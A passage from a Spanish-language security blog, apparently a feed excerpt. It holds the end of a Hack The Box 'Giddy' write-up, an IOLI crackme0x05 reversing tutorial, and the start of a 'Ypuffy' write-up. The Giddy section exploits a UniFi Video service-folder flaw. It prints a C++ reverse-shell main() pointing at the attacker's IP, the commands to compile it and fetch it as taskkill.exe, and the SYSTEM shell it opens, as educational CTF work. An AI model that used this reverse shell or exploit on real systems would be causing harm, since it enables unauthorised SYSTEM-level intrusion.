<p>Comenzamos por descargar y ejecutar la instancia:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/giddy$ docker run -it quickbreach/powershell-ntlm
</span></span><span style="display:flex;"><span>Unable to find image &#39;quickbreach/powershell-ntlm:latest&#39; locally
</span></span><span style="display:flex;"><span>latest: Pulling from quickbreach/powershell-ntlm
</span></span><span style="display:flex;"><span>aeb7866da422: Pull complete
</span></span><span style="display:flex;"><span>2011ef2c2dfb: Pull complete
</span></span><span style="display:flex;"><span>43e50d384a14: Pull complete
</span></span><span style="display:flex;"><span>9b8c213e2ea6: Pull complete
</span></span><span style="display:flex;"><span>580adfdbbe6e: Pull complete
</span></span><span style="display:flex;"><span>e6ec163021cb: Pull complete
</span></span><span style="display:flex;"><span>Digest: sha256:81cb6748bbf055f65de83f62d91e924d9ff674b9a9223ad6e02c425db12b6a32
</span></span><span style="display:flex;"><span>Status: Downloaded newer image for quickbreach/powershell-ntlm:latest
</span></span><span style="display:flex;"><span>PowerShell 6.1.1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>https://aka.ms/pscore6-docs
</span></span><span style="display:flex;"><span>Type &#39;help&#39; to get help.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS /&gt;
</span></span></code></pre></div><p>Ahora generamos las credenciales y probaremos una conexión al servidor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>PS /&gt; $creds = Get-Credential
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PowerShell credential request
</span></span><span style="display:flex;"><span>User: stacy
</span></span><span style="display:flex;"><span>Password for user stacy: ************
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS /&gt; Enter-PSSession -ComputerName 10.10.10.104 -Authentication Negotiate -Credential $creds
</span></span><span style="display:flex;"><span>[10.10.10.104]: PS C:\Users\Stacy\Documents&gt; ls
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\Users\Stacy\Documents
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----        2/16/2019   1:04 AM                WindowsPowerShell
</span></span><span style="display:flex;"><span>-a----        2/16/2019   1:07 AM             14 unifivideo
</span></span></code></pre></div><p>Boom, estamos adentro.</p>
<h1 id="usertxt">user.txt</h1>
<blockquote>
<p>type c:\Users\Stacy\Desktop\user.txt</p>
</blockquote>
<h1 id="privesc">PrivEsc</h1>
<p>Al entrar lo primeeeero que me llama la atención es el archivo unifivideo, que si mal no recordé en ese momento, se trata de uno de los productos de Ubiquiti. Buscando con google acerca de este producto, encontraremos un <a href="https://www.exploit-db.com/exploits/43390">exploit local</a>, el cual abusa de los privilegios de la carpeta unifi-video, ya que el servicio avService.exe que corre con la cuenta NT AUTHORITY/SYSTEM, le otorga sus permisos (ACL). El riesgo es que es posible ejecutar un archivo arbitrario &ldquo;taskkill.exe&rdquo; como NT AUTHORITY/SYSTEM, porque cada vez que el servicio es iniciado y terminado, busca primero dentro de la carpeta &ldquo;C:\ProgramData\unifi-video&quot; si el ejecutable se encuentra.</p>
<p>Cualquier usuario que pueda escribir en &ldquo;C:\ProgramData\unifi-video&quot; y que pueda iniciar y terminar el servicio, podrá explotar esta vulnerabilidad. Y eso es precisamente lo que vamos a hacer.</p>
<p>Primero verificamos que la versión instalada es vulnerable, buscando el archivo de configuración dentro de la carpeta &ldquo;C:\ProgramData\unifi-video&quot;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.10.104]: PS C:\Users\Stacy&gt; cd c:\programdata\unifi-video\
</span></span><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt; dir
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Directory: C:\programdata\unifi-video
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Mode                LastWriteTime         Length Name
</span></span><span style="display:flex;"><span>----                -------------         ------ ----
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:54 PM                bin
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:55 PM                conf
</span></span><span style="display:flex;"><span>d-----        6/16/2018  10:56 PM                data
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:54 PM                email
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:54 PM                fw
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:54 PM                lib
</span></span><span style="display:flex;"><span>d-----        2/16/2019  12:19 AM                logs
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:55 PM                webapps
</span></span><span style="display:flex;"><span>d-----        6/16/2018   9:55 PM                work
</span></span><span style="display:flex;"><span>-a----        7/26/2017   6:10 PM         219136 avService.exe
</span></span><span style="display:flex;"><span>-a----        2/16/2019  12:00 AM          34855 hs_err_pid1328.log
</span></span><span style="display:flex;"><span>-a----        2/16/2019  12:00 AM      471599465 hs_err_pid1328.mdmp
</span></span><span style="display:flex;"><span>-a----        6/17/2018  11:23 AM          31685 hs_err_pid1992.log
</span></span><span style="display:flex;"><span>-a----        6/17/2018  11:23 AM      534204321 hs_err_pid1992.mdmp
</span></span><span style="display:flex;"><span>-a----        8/16/2018   7:47 PM              0 hs_err_pid2036.mdmp
</span></span><span style="display:flex;"><span>-a----        2/16/2019  12:19 AM          34477 hs_err_pid3336.log
</span></span><span style="display:flex;"><span>-a----        2/16/2019  12:19 AM      523514725 hs_err_pid3336.mdmp
</span></span><span style="display:flex;"><span>-a----        6/16/2018   9:54 PM            780 Ubiquiti UniFi Video.lnk
</span></span><span style="display:flex;"><span>-a----        7/26/2017   6:10 PM          48640 UniFiVideo.exe
</span></span><span style="display:flex;"><span>-a----        7/26/2017   6:10 PM          32038 UniFiVideo.ico
</span></span><span style="display:flex;"><span>-a----        6/16/2018   9:54 PM          89050 Uninstall.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt; cat .\data\system.properties
</span></span><span style="display:flex;"><span># unifi-video v3.7.3
</span></span><span style="display:flex;"><span>#Sat Jun 16 21:58:13 EDT 2018
</span></span><span style="display:flex;"><span>is_default=false
</span></span><span style="display:flex;"><span>uuid=e79d440a-62cd-4274-95c3-d746cbb3b817
</span></span><span style="display:flex;"><span># app.http.port = 7080
</span></span><span style="display:flex;"><span># app.https.port = 7443
</span></span><span style="display:flex;"><span># ems.liveflv.port = 6666
</span></span><span style="display:flex;"><span># ems.livews.port = 7445
</span></span><span style="display:flex;"><span># ems.livewss.port = 7446
</span></span><span style="display:flex;"><span># ems.rtmp.enable = true
</span></span><span style="display:flex;"><span># ems.rtmp.port = 1935
</span></span><span style="display:flex;"><span># ems.rtsp.enable = true
</span></span><span style="display:flex;"><span># ems.rtsp.port = 7447
</span></span></code></pre></div><p>Como podemos ver, la versión 3.7.3 es vulnerable.</p>
<p>Iniciamos por ver como carajos se llama el servicio, esta parte requirió de pasar un rato revisando notas en github, pero finalmente llegue a la opción necesaria:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt; Get-ChildItem -recurse HKLM:\SYSTEM\CurrentControlSet\Services | findstr -i &#34;unifi&#34;
</span></span><span style="display:flex;"><span>                               Microsoft-Windows-Unified-Telemetry-Client           :
</span></span><span style="display:flex;"><span>                               Microsoft-Windows-Unified-Telemetry-Client           :
</span></span><span style="display:flex;"><span>UniFiVideoService              Type            : 16
</span></span><span style="display:flex;"><span>                               ImagePath       : C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService
</span></span><span style="display:flex;"><span>                               DisplayName     : Ubiquiti UniFi Video
</span></span><span style="display:flex;"><span>                               Description     : Ubiquiti UniFi Video Service
</span></span><span style="display:flex;"><span>    Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UniFiVideoService
</span></span><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt;
</span></span></code></pre></div><p>Ya tengo el nombre del servicio, ya verificamos que es vulnerable. Ahora solo falta nuestro ejecutable a lanzar.</p>
<h1 id="cmd-reverse-shell">cmd reverse shell</h1>
<p>En este caso, como no me convencio usar MSF, busque alternativas y me tope con una <a href="https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/">muy interesante</a>. Se trata del código fuente en cpp, para generar un binario para windows desde linux, que lanza el proceso cmd.exe y realizar una conexión inversa hacia la maquina del atacante.</p>
<p>En el código solo modificamos los parámetros de host y port y compilamos.</p>
<p>La función main queda así:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">FreeConsole</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (argc <span style="color:#f92672">==</span> <span style="color:#ae81ff">3</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> port  <span style="color:#f92672">=</span> <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">2</span>]); <span style="color:#75715e">//Converting port in Char datatype to Integer format
</span></span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">RunShell</span>(argv[<span style="color:#ae81ff">1</span>], port);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">char</span> host[] <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;10.10.13.121&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> port <span style="color:#f92672">=</span> <span style="color:#ae81ff">3001</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">RunShell</span>(host, port);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Compilamos:</p>
<p><code>i686-w64-mingw32-g++ r.cpp -o r.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc</code></p>
<p>Abrimos una ncat para esperar la conexión, ejecutamos el modulo de python para iniciar un servidor web y descargamos el archivo:</p>
<p>Shell1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt; wget http://10.10.13.121:4001/r.exe -O taskkill.exe
</span></span></code></pre></div><p>Shell2:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/giddy/www$ python -m SimpleHTTPServer 4001
</span></span><span style="display:flex;"><span>Serving HTTP on 0.0.0.0 port 4001 ...
</span></span><span style="display:flex;"><span>10.10.10.104 - - [16/Feb/2019 01:24:09] &#34;GET /r.exe HTTP/1.1&#34; 200 -
</span></span></code></pre></div><p>Shell3:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/giddy$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span></code></pre></div><h1 id="exploiting">Exploiting</h1>
<p>Ahora solo necesitamos detener el servicio UniFiVideoService y esperar en Shell3:</p>
<p>Shell1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[10.10.10.104]: PS C:\programdata\unifi-video&gt; stop-service UniFiVideoService
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span><span style="display:flex;"><span>WARNING: Waiting for service &#39;Ubiquiti UniFi Video (UniFiVideoService)&#39; to stop...
</span></span></code></pre></div><p>Shell3:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/giddy$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.104.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.104:50970.
</span></span><span style="display:flex;"><span>Microsoft Windows [Version 10.0.14393]
</span></span><span style="display:flex;"><span>(c) 2016 Microsoft Corporation. All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\ProgramData\unifi-video&gt;whoami
</span></span><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>nt authority\system
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\ProgramData\unifi-video&gt;cd c:\Users\Administrator\Desktop
</span></span><span style="display:flex;"><span>cd c:\Users\Administrator\Desktop
</span></span></code></pre></div><h1 id="roottxt">root.txt</h1>
<blockquote>
<p>c:\Users\Administrator\Desktop&gt;type root.txt</p>
</blockquote>
<p>&hellip; We got root flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x05</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x05/</link><pubDate>Sat, 09 Feb 2019 22:02:44 -0600</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x05/</guid><description>&lt;p&gt;Continuamos con el siguiente crackme, el cual presenta una variación del reto anterior que resolvimos, en el cual se realizaban varias comparativas diferentes, así como cast entre tipos de datos.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Continuamos con el siguiente crackme, el cual presenta una variación del reto anterior que resolvimos, en el cual se realizaban varias comparativas diferentes, así como cast entre tipos de datos.</p>
<h2 id="footprint">Footprint</h2>
<p>Comenzamos como hemos resuelto otros crackmes, por realizar un file, un ldd y un readelf:</p>
<p><img src="/img/cutter06/file.png" alt="Initial info about crackme0x05"></p>
<p>Podemos observar que la mayoría de la información que se ha presentado en otros crackmes se mantiene, así que por este momento el preCutter se detiene aquí.</p>
<p>Cargamos el binario en Cuttter:</p>
<p><img src="/img/cutter06/load.png" alt="Load on Cutter"></p>
<p>Y como en otros ejercicios, veamos si el dashboard nos ayuda con alguna otra información adicional:</p>
<p><img src="/img/cutter06/dashboard.png" alt="Dashboard"></p>
<p>Como podemos observar y si recordamos otros ejercicios, parece que has sido construido de la misma manera que los demás crackmes, así que hasta aquí llegamos en esta sección.</p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Ahora toca el turno de analizar el entry point que vimos con readelf, el cual era 0x080483d0, veamos que dice Cutter al respecto:</p>
<p><img src="/img/cutter06/entrypoints.png" alt="Entry Points"></p>
<p>La información coincide y es mas, podemos ver también la llamada de entry0 que tenemos para este entry point dentro de las funciones.</p>
<h2 id="strings">Strings</h2>
<p>Veamos si en los strings podemos encontrar algún indicio diferente o la variación entre este crackme y los anteriores:</p>
<p><img src="/img/cutter06/strings.png" alt="Strings"></p>
<p>Con esta captura, concluimos que los strings no son de mucha ayuda en este crackme.</p>
<h2 id="imports">Imports</h2>
<p>Pasemos ahora a las funciones que se importan de este crackme:</p>
<p><img src="/img/cutter06/imports.png" alt="Imports"></p>
<h2 id="functions">Functions</h2>
<p>En la sección de funciones encontraremos las que ya analizamos están importadas via libc, y adicionalmente observaremos que aparte de main, tenemos una función llamada check.</p>
<p><img src="/img/cutter06/functions.png" alt="Functions"></p>
<p>Continuemos con el disassembly de este binario:</p>
<h2 id="disassembly">Disassembly</h2>
<h3 id="función-main">Función main</h3>
<p>Al ser el main el glue de todo el programa, iniciamos por esta función, la cual tiene el siguiente código:</p>
<p><img src="/img/cutter06/main.png" alt="pdf Main"></p>
<p>Siguiendo la misma mecánica que con los crackme anteriores, vamos parte por parte destripando el programa.</p>
<p><img src="/img/cutter06/main1.png" alt="Main - 1"></p>
<p><em>0x08048540 &hellip; 0x08048549</em></p>
<p>Tenemos el inicio del prologo de la función, donde se comienza a definir el stack frame para la función.</p>
<p><em>0x0804854c &hellip; 0x08048554</em></p>
<p>EAX es igual a 0, luego le sumamos 15, y luego le volvemos a sumar 15. EAX=30</p>
<p><em>0x08048557 &hellip; 0x0804855d</em></p>
<p>EAX / 2^4 y después EAX * 2^4. Resultado: EAX =16. Restamos 16 al ESP</p>
<p><img src="/img/cutter06/main2.png" alt="Main - 2"></p>
<p><em>0x0804855f &hellip; 0x08048572</em></p>
<p>Subimos la ubicación del string de LVL al ESP, y llamamos a la función printf. Este proceso se repite otra vez con el string de &ldquo;Password: &ldquo;.</p>
<p><img src="/img/cutter06/main3.png" alt="Main - 3"></p>
<p><em>0x08048577</em> Subimos la dirección de local_78h a EAX</p>
<p><em>0x0804857a</em> Movemos esa dirección almacenada en EAX a local_4h (ESP+4h)</p>
<p><em>0x0804857e</em> Movemos la ubicación del string &lsquo;%s&rsquo;, la cual es 0x080486b2, a ESP</p>
<p><em>0x08048585</em> Llamamos a scanf, pero ojo, recibe el argumento1 via ESP y el argumento2 via ESP+4h como en los ejercicios anteriores.</p>
<p><img src="/img/cutter06/main4.png" alt="Main - 4"></p>
<p><em>0x0804858a</em> Bueno, parece que ahora esa dirección ya tiene un valor via scanf, ahora volvemos a llevar la dirección a EAX
<em>0x0804858d</em> Cargamos EAX en el ESP
<em>0x08048590</em> Y llamamos a otra función pasándole como parámetro la dirección del valor que tomamos de scanf.</p>
<p><img src="/img/cutter06/main5.png" alt="Main - 5"></p>
<p>Cuando ya retornemos de la función check, únicamente retornamos 0 vía EAX y acaba la función con leave+ret.</p>
<h3 id="función-check">Función check</h3>
<p>Ahora si, la función buena a resolver:</p>
<p><img src="/img/cutter06/check.png" alt="pdf Check"></p>
<p>No se ve tan monstruosa como la anterior, pero tiene su truco.</p>
<p><img src="/img/cutter06/check1.png" alt="Check - 1"></p>
<p>La primera parte es equivalente al prologo de la función, donde se define un stack de 40 bytes para la función.</p>
<p><img src="/img/cutter06/check2.png" alt="Check - 2"></p>
<p>Inicializamos local_8h y local_ch a 0. Si vemos la descripción que nos entrega cutter, veremos que estas son variables locales.</p>
<p><img src="/img/cutter06/check3.png" alt="Check - 3"></p>
<p><em>0x080484dc</em> Asignamos el valor de s a EAX, ¿y quien es s? Pues no es mas que el parámetro que la pasamos a la función, la dirección donde se encuentra el valor que ingresamos via scanf</p>
<p><em>0x080484df</em> Ahora subimos esa dirección a ESP (whoot)</p>
<p><em>0x0804842e</em> Llamamos a strlen (que recibe la dirección del string). strlen básicamente toma un string y ejecuta un loop while incrementando un contador buscando la primera incidencia de un carácter null \x00. Al encontrarlo devuelve el valor del contador o por cuantos caracteres tuvo que evaluar para encontrar el carácter null, es decir, la longitud del string. El valor devuelto es un numero natural n&gt;0 que se almacena en EAX.</p>
<p><em>0x080484e7</em> Tomamos el valor de EAX y lo comparamos con el valor de local_ch (la variable que habíamos inicializado a 0), el resultado levanta las flags de ZF y CF según corresponda. En la primera ejecución local_ch es menor que EAX, por lo que la flag de CF se levanta.</p>
<p><em>0x080484ea</em> Tenemos un salto condicional, si el flag de CF no se levanto, entonces ejecuta el jump. Hasta que local_ch no sea igual o mayor a la longitud del string ingresado, no se ejecutara el jump.</p>
<p><img src="/img/cutter06/check4.png" alt="Check - 4"></p>
<p>Si el jump no se ejecuta;</p>
<p><em>0x080484ec</em> Movemos el valor del contador a EAX</p>
<p><em>0x080484ef</em> Sumamos el counter y la dirección de s (el valor ingresado via scanf)</p>
<p><em>0x080484f2</em> Movemos el byte de AL a EAX (ojo, movimos el valor) y dejamos EAX lleno de ceros a la izq.</p>
<p><em>0x080484f5</em> Subimos ese valor (el byte) en local_dh.</p>
<p>Ahora local_dh vale el valor de la letra en curso según el ciclo for.</p>
<p><img src="/img/cutter06/check5.png" alt="Check - 5"></p>
<p><em>0x080484f8</em> Subimos la dirección de local_4h a EAX</p>
<p><em>0x080484fb</em> Cargamos EAX en local_8h_2 (el que esta mas cerca del ESP)</p>
<p><em>0x080484ff</em> Movemos el valor que esta en 0x08048668 (%d)</p>
<p><em>0x08048507</em> Cargamos en EAX la dirección de local_dh (la letra en curso del texto ingresado)</p>
<p><em>0x0804850a</em> Subimos esta letra a ESP desde EAX</p>
<p><em>0x0804850d</em> Llamamos a la función sscanf, que recibe como parámetros el char *s[i], el string &lsquo;%d&rsquo;, y el entero local_4h</p>
<p>La función sscanf() se encarga de procesar un string que recibe de parámetro inicial y al igual que su pariente, scanf, recibe también el formato y opcionalmente donde almacenar el resultado. Esto nos da una clara idea de que lo que ingresemos de input, sera convertido a int y almacenado en local_4h.</p>
<p><img src="/img/cutter06/check6.png" alt="Check - 6"></p>
<p><em>0x08048512</em> Movemos el valor de local_4h a EDX</p>
<p><em>0x08048515</em> Subimos la dirección de local_8h a EAX</p>
<p><em>0x08048518</em> Sumamos el valor de EDX (el entero de la letra en curso) y EAX (que era 0 al inicio del for, fue la primera en inicializarse), y lo guardamos en EAX</p>
<p><em>0x0804851a</em> Comparamos el valor de EAX contra 0x10 (16 en decimal)</p>
<p>Esto básicamente quiere decir que hasta este punto, local_8h es una variable fuera del ciclo donde se va sumando los valores individuales de cada carácter ingresado en el primer scanf. También significa que debemos ingresar números, puesto que la comparación se realizo contra 16, cantidad que ninguna letra puede hacer frente.</p>
<p><img src="/img/cutter06/check7.png" alt="Check - 7"></p>
<p>Entramos en un if, que dice así;</p>
<p>Si el resultado de la comparación fue falso (no iguales), entonces brinca a 0x0804852b.</p>
<p><em>0x0804852b</em> Cargamos la dirección de contador en EAX</p>
<p><em>0x0804852e</em> Incrementamos el valor de EAX</p>
<p><em>0x08048530</em> Brincamos hacia arriba hasta 0x080484dc, donde el loop comenzó</p>
<p>Si el resultado de la comparación fue verdadero (iguales), entonces continua.</p>
<p><em>0x0804852b</em> Movemos la dirección de s a EAX</p>
<p><em>0x0804852b</em> Cargamos esa dirección en ESP</p>
<p><em>0x0804852b</em> Llamamos a la función parell que recibe de parámetro s.</p>
<p>Las ultimas tres instrucciones son básicamente cuando el loop finalizo, en donde se carga el mensaje de &ldquo;Password Incorrect&rdquo; para posteriormente imprimirlo en pantalla via printf. Tenemos un leave/ret que finaliza la función y nos regresa a main.</p>
<h3 id="función-parell">Función parell</h3>
<p>Hemos llegado hasta esta función después de recibir en main un string, enviarlo de parámetro a check, en donde fue validado  caracter por caracter, tras una conversón a entero, que la sumatoria total de todos los valores es de 16, por lo que check llama a parell enviando el string que recibió de main.</p>
<p><img src="/img/cutter06/parell.png" alt="Parell"></p>
<p>Como podemos ver, esta función es mas pequeña que check y main, pero veremos que secretos nos aguarda.</p>
<p><img src="/img/cutter06/parell1.png" alt="Parell - 1"></p>
<p>Esta primera parte del prologo de la función define un stack frame de 0x18 para la función.</p>
<p><img src="/img/cutter06/parell2.png" alt="Parell - 2"></p>
<p><em>0x0804848a</em> Cargamos la dirección de local_4h en EAX</p>
<p><em>0x0804848d</em> Cargamos el valor de EAX en local_8h (Cerca de ESP)</p>
<p><em>0x08048491</em> Continuamos subiendo el valor &lsquo;%d&rsquo; a format aka ESP+0x4</p>
<p><em>0x08048499</em> Movemos la dirección del string s hacia EAX</p>
<p><em>0x0804849c</em> Cargamos la dirección del string s en ESP</p>
<p><em>0x0804849f</em> Llamamos a sscanf.</p>
<p>Ok, sscanf (*s, &lsquo;%d&rsquo;, local_4h), como en la función anterior.</p>
<p><img src="/img/cutter06/parell3.png" alt="Parell - 3"></p>
<p><em>0x0804849f</em> Movemos el valor de local_4h a EAX (osea el numero ingresado)</p>
<p><em>0x0804849f</em> Realizamos un and entre el numero y 1. Esto quiere decir que básicamente evalúa que la salida sea o no par, aplicando una operación el bit menos significativo.</p>
<p><em>0x0804849f</em> Se realiza un test entre EAX y EAX para validar que el <strong>and</strong> haya resultado verdadero</p>
<p><img src="/img/cutter06/parell4.png" alt="Parell - 4"></p>
<p>En caso de que el numero sea par, se imprime el mensaje &ldquo;Pasword OK!&rdquo; y se finaliza el programa con estatus 0.</p>
<p>En caso de que el numero no sea par, parell retorna a check y check a su vez finalizar el for, concluyendo con el mensaje de &ldquo;Password Incorrect.&rdquo;</p>
<h2 id="gráfico">Gráfico</h2>
<p>Los grafos de las tres funciones principales son:</p>
<h3 id="función-main-1">Función main</h3>
<p><img src="/img/cutter06/graph_main.png" alt="graph main"></p>
<h3 id="función-check-1">Función check</h3>
<p><img src="/img/cutter06/graph_check.png" alt="graph check"></p>
<h3 id="función-parell-1">Función parell</h3>
<p><img src="/img/cutter06/graph_parell.png" alt="graph parell"></p>
<h2 id="validación">Validación</h2>
<p>Como la información que analizamos de este binario, concluimos que no hay una única respuesta, sino varias. La condición es que los números en serie que ingresemos puedan sumar 16 exacto y que el numero sea par, es decir, números como 04444 y 22222222 son validos. Números como 55421 no porque a pesar de que sus primeros números en serie suman 16, el numero es impar, mientras que números como 5560 o 1234512 si porque los primeros números suman 16 y son números pares.</p>
<p>Validemos:</p>
<p><img src="/img/cutter06/validacion.png" alt="Validación"></p>
<p>Excelente! Hemos resuelto el sexto crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
Saludos,</p>]]></content></item><item><title>HTB write-up: Ypuffy</title><link>https://www.xbyte.mx/posts/htb_writeup_-_ypuffy/</link><pubDate>Sat, 09 Feb 2019 10:36:18 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_ypuffy/</guid><description>&lt;p&gt;Sin duda una de las cosas que mas me gusta de HTB, es el hecho de tener un ecosistema tan variado que permite aprender en horizontales y verticales. Esta máquina me ayudo a conocer como funciona la generación de llaves de SSH a gran escala y como una mala configuración nos puede llevar a entregarle root a cualquier usuario. Tampoco conocía DOAS, pero se me hizo gracioso como fue relativamente fácil homologar lo aprendido de SUDO y RUNAS.&lt;/p&gt;
&lt;p&gt;Sin mas vamos con el write up&amp;hellip;&lt;/p&gt;</description><content type="html"><![CDATA[<p>Sin duda una de las cosas que mas me gusta de HTB, es el hecho de tener un ecosistema tan variado que permite aprender en horizontales y verticales. Esta máquina me ayudo a conocer como funciona la generación de llaves de SSH a gran escala y como una mala configuración nos puede llevar a entregarle root a cualquier usuario. Tampoco conocía DOAS, pero se me hizo gracioso como fue relativamente fácil homologar lo aprendido de SUDO y RUNAS.</p>
<p>Sin mas vamos con el write up&hellip;</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ypuffy</td>
          <td>AuxSarge</td>
          <td>Other</td>
          <td>10.10.10.107</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-ypuffy/cardinfo.png" alt="Card Info"></p>
<h1 id="port-scanning">Port Scanning</h1>
